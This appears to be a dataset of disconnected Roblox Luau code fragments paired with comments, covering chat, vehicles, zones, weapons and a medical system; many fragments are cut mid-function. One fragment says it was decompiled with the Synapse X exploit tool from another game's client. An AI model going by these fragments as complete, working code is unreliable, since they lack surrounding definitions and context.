local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:CaptureFocus()
self.ChatBar:SetText(whisperMessage)
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
-- Checks if the model that the part is in has been destroyed |
local function isModelDestroyed(part, destroyedModels)
local model = getModel(part)
for i, destroyedModel in pairs(destroyedModels) do
if (model == destroyedModel) then
return true
end
end
return false
end
|
--Deadzone Adjust |
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
|
-- Events |
local gameStageChanged = ReplicatedStorage.Events.GameStageChange
local getGameStage = ReplicatedStorage.Events.GetGameStage
|
--Switch button type |
local DriverButtonId
local DriverButtonPressedId
local PassengerButtonId
local PassengerButtonPressedId
local function setPlatformType(inputType)
if inputType == Enum.UserInputType.Keyboard then
DriverButtonId = "rbxassetid://2848250902"
DriverButtonPressedId = "rbxassetid://2848250902"
PassengerButtonId = "rbxassetid://2848251564"
PassengerButtonPressedId = "rbxassetid://2848251564"
EnterImageButton.Size = UDim2.new(0, 36, 0, 36)
FlipImageButton.Image = "rbxassetid://2848307983"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
BackgroundConsole.Visible = false
BackgroundDesktop.Visible = true
BackgroundDesktop.Size = UDim2.new(0, 97, 0, 46)
BackgroundDesktop.Position = UDim2.new(0.5, 28, 0.5, 0)
ButtonPrompt.Visible = true
ButtonPrompt.Image = "rbxassetid://2935912536"
ButtonPrompt.Size = UDim2.new(0, 36, 0, 36)
ButtonPrompt.Position = UDim2.new(0.5, -46, 0.5, 0)
ButtonPrompt.TextLabel.Visible = true
--Display the correct key
ButtonPrompt.TextLabel.Text = Keymap.EnterVehicleKeyboard.Name
elseif inputType.Value >= Enum.UserInputType.Gamepad1.Value and
inputType.Value <= Enum.UserInputType.Gamepad8.Value then
DriverButtonId = "rbxassetid://2848635029"
DriverButtonPressedId = "rbxassetid://2848635029"
PassengerButtonId = "rbxassetid://2848636545"
PassengerButtonPressedId = "rbxassetid://2848636545"
EnterImageButton.Size = UDim2.new(0, 60, 0, 60)
FlipImageButton.Image = "rbxassetid://2848307983"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
BackgroundDesktop.Visible = false
BackgroundConsole.Visible = true
BackgroundConsole.Size = UDim2.new(0, 136, 0, 66)
BackgroundConsole.Position = UDim2.new(0.5, 40, 0.5, 0)
ButtonPrompt.Visible = true
--ButtonPrompt.Image = "rbxassetid://408462759"
ButtonPrompt.Size = UDim2.new(0, 46, 0, 46)
ButtonPrompt.Position = UDim2.new(0.5, -63, 0.5, 0)
ButtonPrompt.ImageRectSize = Vector2.new(71, 71)
ButtonPrompt.ImageRectOffset = Vector2.new(512, 600)
ButtonPrompt.TextLabel.Visible = false
--Set the correct image for the gamepad button prompt
local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light")
ButtonPrompt.Image = template.Image
ButtonPrompt.ImageRectOffset = template.ImageRectOffset
ButtonPrompt.ImageRectSize = template.ImageRectSize
elseif inputType == Enum.UserInputType.Touch then
BackgroundDesktop.Visible = false
BackgroundConsole.Visible = false
ButtonPrompt.Visible = false
DriverButtonId = "rbxassetid://2847898200"
DriverButtonPressedId = "rbxassetid://2847898354"
PassengerButtonId = "rbxassetid://2848217831"
PassengerButtonPressedId = "rbxassetid://2848218107"
EnterImageButton.Size = UDim2.new(0, 44, 0, 44)
FlipImageButton.Image = "rbxassetid://2848187559"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848187982"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
end
end
UserInputService.LastInputTypeChanged:Connect(setPlatformType)
setPlatformType(Enum.UserInputType.Keyboard)
setPlatformType(UserInputService:GetLastInputType())
local function getLocalHumanoid()
if LocalPlayer.Character then
return LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
end
end
local SeatTag = GetSeatTag:InvokeServer()
|
--local NormalWalk = Character.WalkSpeed |
UserInputService.InputBegan:Connect(function(input,processing)
if not processing then
if input.KeyCode == Enum.KeyCode.LeftShift then
if isRunning then
Character.Humanoid.WalkSpeed = 40
end
end
end
end)
UserInputService.InputEnded:Connect(function(input,processing)
if not processing then
if input.KeyCode == Enum.KeyCode.LeftShift then
Character.Humanoid.WalkSpeed = 16
end
end
end)
task.wait(1)
Character.Humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(function()
if Character.Humanoid.MoveDirection.Magnitude > 0 then
isRunning = true
else
isRunning = false
end
end)
|
--[[
r x d e s i r e
onPlayerAdded
--]] |
function added(player)
local GUI = script.IntroGui:clone()
GUI.Parent = player:WaitForChild("PlayerGui")
end
game.Players.PlayerAdded:connect(added)
|
--use this to determine if you want this human to be harmed or not, returns boolean |
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire==true)
end
function boom()
wait(10)
Used = true
Object.Anchored = true
Object.CanCollide = false
Object.Sparks.Enabled = false
Object.Orientation = Vector3.new(0,0,0)
Object.Transparency = 1
Object.Fuse:Stop()
Object.Explode:Play()
Object.Dist:Play()
Object.Explosion:Emit(500)
Explode()
end
Object.Touched:Connect(function(part)
if Used == true or part.Name == "Handle" then return end
if part:IsDescendantOf(Tag.Value.Character) then return end
if part.Parent then
if part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if checkTeams(human) then
tagHuman(human)
human:TakeDamage(Damage)
end
end
Used = true
Object.Impact:Play()
Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10)
Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10)
game:GetService("Debris"):AddItem(Object, 10)
end
end)
boom()
|
-- Fetch the thumbnail |
local userId = player.UserId
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
|
--[=[
Handles observing the value conditionalli
@param condition function | nil
@return Observable<Brio<any>>
]=] |
function AttributeValue:ObserveBrio(condition)
return RxAttributeUtils.observeAttributeBrio(self._object, self._attributeName, condition)
end
|
-- PRIVATE METHODS |
function Zone:_calculateRegion(tableOfParts, dontRound)
local bounds = {["Min"] = {}, ["Max"] = {}}
for boundType, details in pairs(bounds) do
details.Values = {}
function details.parseCheck(v, currentValue)
if boundType == "Min" then
return (v <= currentValue)
elseif boundType == "Max" then
return (v >= currentValue)
end
end
function details:parse(valuesToParse)
for i,v in pairs(valuesToParse) do
local currentValue = self.Values[i] or v
if self.parseCheck(v, currentValue) then
self.Values[i] = v
end
end
end
end
for _, part in pairs(tableOfParts) do
local sizeHalf = part.Size * 0.5
local corners = {
part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, sizeHalf.Z),
}
for _, cornerCFrame in pairs(corners) do
local x, y, z = cornerCFrame:GetComponents()
local values = {x, y, z}
bounds.Min:parse(values)
bounds.Max:parse(values)
end
end
local minBound = {}
local maxBound = {}
-- Rounding a regions coordinates to multiples of 4 ensures the region optimises the region
-- by ensuring it aligns on the voxel grid
local function roundToFour(to_round)
local ROUND_TO = 4
local divided = (to_round+ROUND_TO/2) / ROUND_TO
local rounded = ROUND_TO * math.floor(divided)
return rounded
end
for boundName, boundDetail in pairs(bounds) do
for _, v in pairs(boundDetail.Values) do
local newTable = (boundName == "Min" and minBound) or maxBound
local newV = v
if not dontRound then
local roundOffset = (boundName == "Min" and -2) or 2
newV = roundToFour(v+roundOffset) -- +-2 to ensures the zones region is not rounded down/up
end
table.insert(newTable, newV)
end
end
local boundMin = Vector3.new(unpack(minBound))
local boundMax = Vector3.new(unpack(maxBound))
local region = Region3.new(boundMin, boundMax)
return region, boundMin, boundMax
end
function Zone:_displayBounds()
if not self.displayBoundParts then
self.displayBoundParts = true
local boundParts = {BoundMin = self.boundMin, BoundMax = self.boundMax}
for boundName, boundCFrame in pairs(boundParts) do
local part = Instance.new("Part")
part.Anchored = true
part.CanCollide = false
part.Transparency = 0.5
part.Size = Vector3.new(1,1,1)
part.Color = Color3.fromRGB(255,0,0)
part.CFrame = CFrame.new(boundCFrame)
part.Name = boundName
part.Parent = workspace
self.janitor:add(part, "Destroy")
end
end
end
function Zone:_update()
local container = self.container
local zoneParts = {}
local updateQueue = 0
self._updateConnections:clean()
local containerType = typeof(container)
local holders = {}
local INVALID_TYPE_WARNING = "The zone container must be a model, folder, basepart or table!"
if containerType == "table" then
for _, part in pairs(container) do
if part:IsA("BasePart") then
table.insert(zoneParts, part)
end
end
elseif containerType == "Instance" then
if container:IsA("BasePart") then
table.insert(zoneParts, container)
else
table.insert(holders, container)
for _, part in pairs(container:GetDescendants()) do
if part:IsA("BasePart") then
table.insert(zoneParts, part)
else
table.insert(holders, part)
end
end
end
end
self.zoneParts = zoneParts
self.overlapParams = {}
local allZonePartsAreBlocksNew = true
for _, zonePart in pairs(zoneParts) do
local success, shapeName = pcall(function() return zonePart.Shape.Name end)
if shapeName ~= "Block" then
allZonePartsAreBlocksNew = false
end
end
self.allZonePartsAreBlocks = allZonePartsAreBlocksNew
local zonePartsWhitelist = OverlapParams.new()
zonePartsWhitelist.FilterType = Enum.RaycastFilterType.Whitelist
zonePartsWhitelist.MaxParts = #zoneParts
zonePartsWhitelist.FilterDescendantsInstances = zoneParts
self.overlapParams.zonePartsWhitelist = zonePartsWhitelist
local zonePartsIgnorelist = OverlapParams.new()
zonePartsIgnorelist.FilterType = Enum.RaycastFilterType.Blacklist
zonePartsIgnorelist.FilterDescendantsInstances = zoneParts
self.overlapParams.zonePartsIgnorelist = zonePartsIgnorelist
-- this will call update on the zone when the container parts size or position changes, and when a
-- child is removed or added from a holder (anything which isn't a basepart)
local function update()
if self.autoUpdate then
local executeTime = os.clock()
if self.respectUpdateQueue then
updateQueue += 1
executeTime += 0.1
end
local updateConnection
updateConnection = runService.Heartbeat:Connect(function()
if os.clock() >= executeTime then
updateConnection:Disconnect()
if self.respectUpdateQueue then
updateQueue -= 1
end
if updateQueue == 0 and self.zoneId then
self:_update()
end
end
end)
end
end
local partProperties = {"Size", "Position"}
local function verifyDefaultCollision(instance)
if instance.CollisionGroupId ~= 0 then
error("Zone parts must belong to the 'Default' (0) CollisionGroup! Consider using zone:relocate() if you wish to move zones outside of workspace to prevent them interacting with other parts.")
end
end
for _, part in pairs(zoneParts) do
for _, prop in pairs(partProperties) do
self._updateConnections:add(part:GetPropertyChangedSignal(prop):Connect(update), "Disconnect")
end
verifyDefaultCollision(part)
self._updateConnections:add(part:GetPropertyChangedSignal("CollisionGroupId"):Connect(function()
verifyDefaultCollision(part)
end), "Disconnect")
end
local containerEvents = {"ChildAdded", "ChildRemoved"}
for _, holder in pairs(holders) do
for _, event in pairs(containerEvents) do
self._updateConnections:add(self.container[event]:Connect(function(child)
if child:IsA("BasePart") then
update()
end
end), "Disconnect")
end
end
local region, boundMin, boundMax = self:_calculateRegion(zoneParts)
local exactRegion, _, _ = self:_calculateRegion(zoneParts, true)
self.region = region
self.exactRegion = exactRegion
self.boundMin = boundMin
self.boundMax = boundMax
local rSize = region.Size
self.volume = rSize.X*rSize.Y*rSize.Z
-- Update: I was going to use this for the old part detection until the CanTouch property was released
-- everything below is now irrelevant however I'll keep just in case I use again for future
-------------------------------------------------------------------------------------------------
-- When a zones region is determined, we also check for parts already existing within the zone
-- these parts are likely never to move or interact with the zone, so we set the number of these
-- to the baseline MaxParts value. 'recommendMaxParts' is then determined through the sum of this
-- and maxPartsAddition. This ultimately optimises region checks as they can be generated with
-- minimal MaxParts (i.e. recommendedMaxParts can be used instead of math.huge every time)
--[[
local result = self.worldModel:FindPartsInRegion3(region, nil, math.huge)
local maxPartsBaseline = #result
self.recommendedMaxParts = maxPartsBaseline + self.maxPartsAddition
--]]
self:_updateTouchedConnections()
self.updated:Fire()
end
function Zone:_updateOccupants(trackerName, newOccupants)
local previousOccupants = self.occupants[trackerName]
if not previousOccupants then
previousOccupants = {}
self.occupants[trackerName] = previousOccupants
end
local signalsToFire = {}
for occupant, prevItem in pairs(previousOccupants) do
local newItem = newOccupants[occupant]
if newItem == nil or newItem ~= prevItem then
previousOccupants[occupant] = nil
if not signalsToFire.exited then
signalsToFire.exited = {}
end
table.insert(signalsToFire.exited, occupant)
end
end
for occupant, _ in pairs(newOccupants) do
if previousOccupants[occupant] == nil then
local isAPlayer = occupant:IsA("Player")
previousOccupants[occupant] = (isAPlayer and occupant.Character) or true
if not signalsToFire.entered then
signalsToFire.entered = {}
end
table.insert(signalsToFire.entered, occupant)
end
end
return signalsToFire
end
function Zone:_formTouchedConnection(triggerType)
local touchedJanitorName = "_touchedJanitor"..triggerType
local touchedJanitor = self[touchedJanitorName]
if touchedJanitor then
touchedJanitor:clean()
else
touchedJanitor = self.janitor:add(Janitor.new(), "destroy")
self[touchedJanitorName] = touchedJanitor
end
self:_updateTouchedConnection(triggerType)
end
function Zone:_updateTouchedConnection(triggerType)
local touchedJanitorName = "_touchedJanitor"..triggerType
local touchedJanitor = self[touchedJanitorName]
if not touchedJanitor then return end
for _, basePart in pairs(self.zoneParts) do
touchedJanitor:add(basePart.Touched:Connect(self.touchedConnectionActions[triggerType], self), "Disconnect")
end
end
function Zone:_updateTouchedConnections()
for triggerType, _ in pairs(self.touchedConnectionActions) do
local touchedJanitorName = "_touchedJanitor"..triggerType
local touchedJanitor = self[touchedJanitorName]
if touchedJanitor then
touchedJanitor:cleanup()
self:_updateTouchedConnection(triggerType)
end
end
end
function Zone:_disconnectTouchedConnection(triggerType)
local touchedJanitorName = "_touchedJanitor"..triggerType
local touchedJanitor = self[touchedJanitorName]
if touchedJanitor then
touchedJanitor:cleanup()
self[touchedJanitorName] = nil
end
end
local function round(number, decimalPlaces)
return math.round(number * 10^decimalPlaces) * 10^-decimalPlaces
end
function Zone:_partTouchedZone(part)
local trackingDict = self.trackingTouchedTriggers["part"]
if trackingDict[part] then return end
local nextCheck = 0
local verifiedEntrance = false
local enterPosition = part.Position
local enterTime = os.clock()
local partJanitor = self.janitor:add(Janitor.new(), "destroy")
trackingDict[part] = partJanitor
local instanceClassesToIgnore = {Seat = true, VehicleSeat = true}
local instanceNamesToIgnore = {HumanoidRootPart = true}
if not (instanceClassesToIgnore[part.ClassName] or not instanceNamesToIgnore[part.Name]) then
part.CanTouch = false
end
--
local partVolume = round((part.Size.X * part.Size.Y * part.Size.Z), 5)
self.totalPartVolume += partVolume
--
partJanitor:add(heartbeat:Connect(function()
local clockTime = os.clock()
if clockTime >= nextCheck then
----
local cooldown = enum.Accuracy.getProperty(self.accuracy)
nextCheck = clockTime + cooldown
----
-- We initially perform a singular point check as this is vastly more lightweight than a large part check
-- If the former returns false, perform a whole part check in case the part is on the outer bounds.
local withinZone = self:findPoint(part.CFrame)
if not withinZone then
withinZone = self:findPart(part)
end
if not verifiedEntrance then
if withinZone then
verifiedEntrance = true
self.partEntered:Fire(part)
elseif (part.Position - enterPosition).Magnitude > 1.5 and clockTime - enterTime >= cooldown then
-- Even after the part has exited the zone, we track it for a brief period of time based upon the criteria
-- in the line above to ensure the .touched behaviours are not abused
partJanitor:cleanup()
end
elseif not withinZone then
verifiedEntrance = false
enterPosition = part.Position
enterTime = os.clock()
self.partExited:Fire(part)
end
end
end), "Disconnect")
partJanitor:add(function()
trackingDict[part] = nil
part.CanTouch = true
self.totalPartVolume = round((self.totalPartVolume - partVolume), 5)
end, true)
end
local partShapeActions = {
["Ball"] = function(part)
return "GetPartBoundsInRadius", {part.Position, part.Size.X}
end,
["Block"] = function(part)
return "GetPartBoundsInBox", {part.CFrame, part.Size}
end,
["Other"] = function(part)
return "GetPartsInPart", {part}
end,
}
function Zone:_getRegionConstructor(part, overlapParams)
local success, shapeName = pcall(function() return part.Shape.Name end)
local methodName, args
if success and self.allZonePartsAreBlocks then
local action = partShapeActions[shapeName]
if action then
methodName, args = action(part)
end
end
if not methodName then
methodName, args = partShapeActions.Other(part)
end
if overlapParams then
table.insert(args, overlapParams)
end
return methodName, args
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__6 = game.TweenService;
local l__Debris__7 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
local l__Parent__8 = p2.Parent;
local v9 = game.ReplicatedStorage.KillFX.Ghost.Ghost:Clone();
v9.Name = "Ghost" .. l__Parent__8.Name;
v9.Parent = workspace.Ignored.Animations;
v9.PrimaryPart.CFrame = CFrame.new(l__Parent__8.LowerTorso.Position) * CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(math.random(-360, 360)), 0);
v9:WaitForChild("Humanoid"):ApplyDescription((game.Players:GetHumanoidDescriptionFromUserId(game.Players:WaitForChild(l__Parent__8.Name).UserId)));
game.Debris:AddItem(v9, 4);
v9.HumanoidRootPart.Attachment.RingRelease.Enabled = false;
task.delay(0, function()
local u1 = nil;
u1 = game["Run Service"].Stepped:Connect(function()
if v9.Parent == nil then
u1:Disconnect();
return;
end;
for v10, v11 in pairs(v9:GetChildren()) do
if v11:IsA("BasePart") or v11:IsA("MeshPart") then
v11.CanCollide = false;
end;
end;
end);
for v12, v13 in pairs(v9:GetChildren()) do
if (v13:IsA("BasePart") or v13:IsA("Decal")) and (v13.Transparency == 1 or v13.Transparency == 0) then
game.TweenService:Create(v13, TweenInfo.new(0.5, Enum.EasingStyle.Quart), {
Transparency = 0.5
}):Play();
end;
end;
end);
local v14 = v9.Humanoid:LoadAnimation(v9.Animation);
v14:Play();
for v15, v16 in pairs(l__Parent__8.Humanoid:GetChildren()) do
if v9.Humanoid:FindFirstChild(v16.Name) and v16:IsA("ValueBase") then
v9.Humanoid[v16.Name].Value = v16.Value;
end;
end;
v9.UpperTorso.Ar:Play();
local u2 = nil;
u2 = v14:GetMarkerReachedSignal("Start"):Connect(function()
for v17, v18 in pairs(v9:GetDescendants()) do
if v18:IsA("BasePart") or v18:IsA("Decal") then
game.TweenService:Create(v18, TweenInfo.new(1.5), {
Transparency = 1
}):Play();
end;
end;
v9.UpperTorso.Sound:Play();
u2:Disconnect();
end);
return nil;
end;
return v1;
|
--////////--
--The Meat--
--////////-- |
local Region = {}
function Region.new(...)
local args = {...}
local Object = nil
local isBasePart = false
if args[1] and pcall(function() isBasePart = args[1]:IsA("BasePart") end) and isBasePart then
Object = CreateRegionFromPart(args[1])
else
Object = CreateRegion(args[1], args[3], args[2])
end
return Object
end
return Region
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
TeamKill = true --- Enable TeamKill?
,TeamDamageMultiplier = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = false --- Enable anti bunny hop system?
,JumpCoolDown = 3 --- Seconds before you can jump again
,JumpPower = 50 --- Jump power, default is 50
,RealisticLaser = false --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = true --- Enable ragdoll death?
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD |
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear. |
local plane = script.Parent.Plane:clone()
script.Parent.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = false
local downtime = 5 -- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone
plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1) -- Creates a 3D space using two Vector3s
local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)
function getPassengers(pln) -- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
local plrs = {}
local function scan(parent)
for _,v in pairs(parent:GetChildren()) do
if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
if (plr) then table.insert(plrs,plr) end
end
end
scan(v)
end
end
scan(pln)
return plrs
end
function deleteInactivePlanes()
for _,v in pairs(script.Parent:GetChildren()) do
if (v.Name == plane.Name) then
local passengers = getPassengers(v)
if (#passengers == 0) then
v:remove()
end
end
end
end
function regionIsClear()
local parts = game.Workspace:findPartsInRegion3(region,regen,100)
return (#parts == 0)
end
function regenMain()
local p = plane:clone()
p.Parent = script.Parent
p:MakeJoints()
end
regen.Touched:connect(function(obj)
if (active) then return end
local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
if (not plr) then return end
active = true
deleteInactivePlanes()
for i = 0,0.5,0.1 do
regen.Transparency = i
wait()
end
regen.Transparency = 0.5
while (not regionIsClear()) do
wait(0.5)
if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
gui.Parent = plr.PlayerGui
end
end
gui.Parent = nil
regenMain()
wait(downtime)
for i = 0.5,0,-0.1 do
regen.Transparency = i
wait()
end
regen.Transparency = 0
active = false
end)
|
-- Remote Events Client -> Server |
RE_replicateProjectile.OnServerEvent:Connect(function(player, bullet) projectiles.CreateBullet(player, bullet) end)
RE_tempSaveProfile.OnServerEvent:Connect(function(player)
print("Server received save request")
local playerID = player.UserId
database.SaveProfile(playerID)
end)
|
--[=[
Like Blend.Spring, but for AccelTween
@param source any -- Source observable (or convertable)
@param acceleration any -- Source acceleration (or convertable)
@return Observable
]=] |
function Blend.AccelTween(source, acceleration)
local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source)
local accelerationObservable = Blend.toNumberObservable(acceleration)
local function createAccelTween(maid, initialValue)
local accelTween = AccelTween.new()
if initialValue then
accelTween.p = initialValue
accelTween.t = initialValue
accelTween.v = 0
end
if accelerationObservable then
maid:GiveTask(accelerationObservable:Subscribe(function(value)
assert(type(value) == "number", "Bad value")
accelTween.a = value
end))
end
return accelTween
end
-- TODO: Centralize and cache
return Observable.new(function(sub)
local accelTween
local maid = Maid.new()
local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function()
sub:Fire(accelTween.p)
return accelTween.rtime > 0
end)
maid:GiveTask(stopAnimate)
maid:GiveTask(sourceObservable:Subscribe(function(value)
accelTween = accelTween or createAccelTween(maid, value)
accelTween.t = value
startAnimate()
end))
return maid
end)
end
|
--[[ Local Functions ]] | --
function MasterControl:GetHumanoid()
if LocalCharacter then
if CachedHumanoid then
return CachedHumanoid
else
CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
return CachedHumanoid
end
end
end
VRService.Changed:connect(function(prop)
if prop == "VREnabled" then
VREnabled = VRService.VREnabled
end
end)
local characterAncestryChangedConn = nil
local characterChildRemovedConn = nil
local function characterAdded(character)
if characterAncestryChangedConn then
characterAncestryChangedConn:disconnect()
end
if characterChildRemovedConn then
characterChildRemovedConn:disconnect()
end
LocalCharacter = character
CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
characterAncestryChangedConn = character.AncestryChanged:connect(function()
if character.Parent == nil then
LocalCharacter = nil
else
LocalCharacter = character
end
end)
characterChildRemovedConn = character.ChildRemoved:connect(function(child)
if child == CachedHumanoid then
CachedHumanoid = nil
end
end)
end
if LocalCharacter then
characterAdded(LocalCharacter)
end
LocalPlayer.CharacterAdded:connect(characterAdded)
local getHumanoid = MasterControl.GetHumanoid
local moveFunc = LocalPlayer.Move
local getUserCFrame = VRService.GetUserCFrame
local updateMovement = function()
if not areControlsEnabled then return end
local humanoid = getHumanoid()
if not humanoid then return end
if isJumpEnabled and isJumping and not humanoid.PlatformStand then
local state = humanoid:GetState()
if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then
humanoid.Jump = isJumping
end
end
local adjustedMoveValue = moveValue
if VREnabled and workspace.CurrentCamera.HeadLocked then
local vrFrame = getUserCFrame(VRService, Enum.UserCFrame.Head)
local lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit
local rotation = CFrame.new(ZERO_VECTOR3, lookVector)
adjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue)
end
moveFunc(LocalPlayer, adjustedMoveValue, true)
end
|
--Char.Humanoid.BreakJointsOnDeath = false |
if configuracao.EnableRagdoll == true then
Char.Humanoid.Died:Connect(function()
Ragdoll(Char)
end)
end
while configuracao.EnableMedSys do
wait()
if Sangrando.Value == true then
if PastasStan.Tourniquet.Value == false then
Sang.Value = (Sang.Value - (MLs.Value/60))
UltimoSang = Sang.Value
MLs.Value = MLs.Value + 0.025
end
end
if PastasStan.Tourniquet.Value == true then
Dor.Value = Dor.Value + 0.1
end
if (human.Health - ultimavida < 0) then
Sang.Value = Sang.Value + (human.Health - ultimavida)*((configuracao.BloodMult)*(configuracao.BloodMult)*(configuracao.BloodMult))
UltimoSang = Sang.Value
end
if (human.Health - ultimavida < 0) then
Dor.Value = math.ceil(Dor.Value + (human.Health - ultimavida)*(-configuracao.PainMult))
--Energia.Value = math.ceil(Energia.Value + (human.Health - ultimavida)*(5))
end
if (human.Health - ultimavida < 0) --[[and (Sangrando.Value == true)]] then
MLs.Value = MLs.Value + ((ultimavida - human.Health)* (configuracao.BloodMult))
end
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.BleedDamage) then
Sangrando.Value = true
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.InjuredDamage) then
Ferido.Value = true
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.KODamage) then
Caido.Value = true
end
end
end
if human.Health >= human.MaxHealth and Sangrando.Value == false then
Sang.Value = Sang.Value + 0.5
Dor.Value = Dor.Value - 0.025
MLs.Value = MLs.Value - 0.025
end
if Sang.Value <= 0 then
human.Health = 0
end
ultimavida = script.Parent.Parent.Humanoid.Health
spawn(function(timer)
if Sang.Value >= 3500 and Dor.Value < 200 and Caido.Value == true and debounce == false then
debounce = true
wait(60)
Caido.Value = false
debounce = false
end
end)
end
-- Quero um pouco de credito,plox :P --
-- FEITO 100% POR SCORPION --
-- Oficial Release 1.5 --
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 15
local slash_damage = 15
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=16425587"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
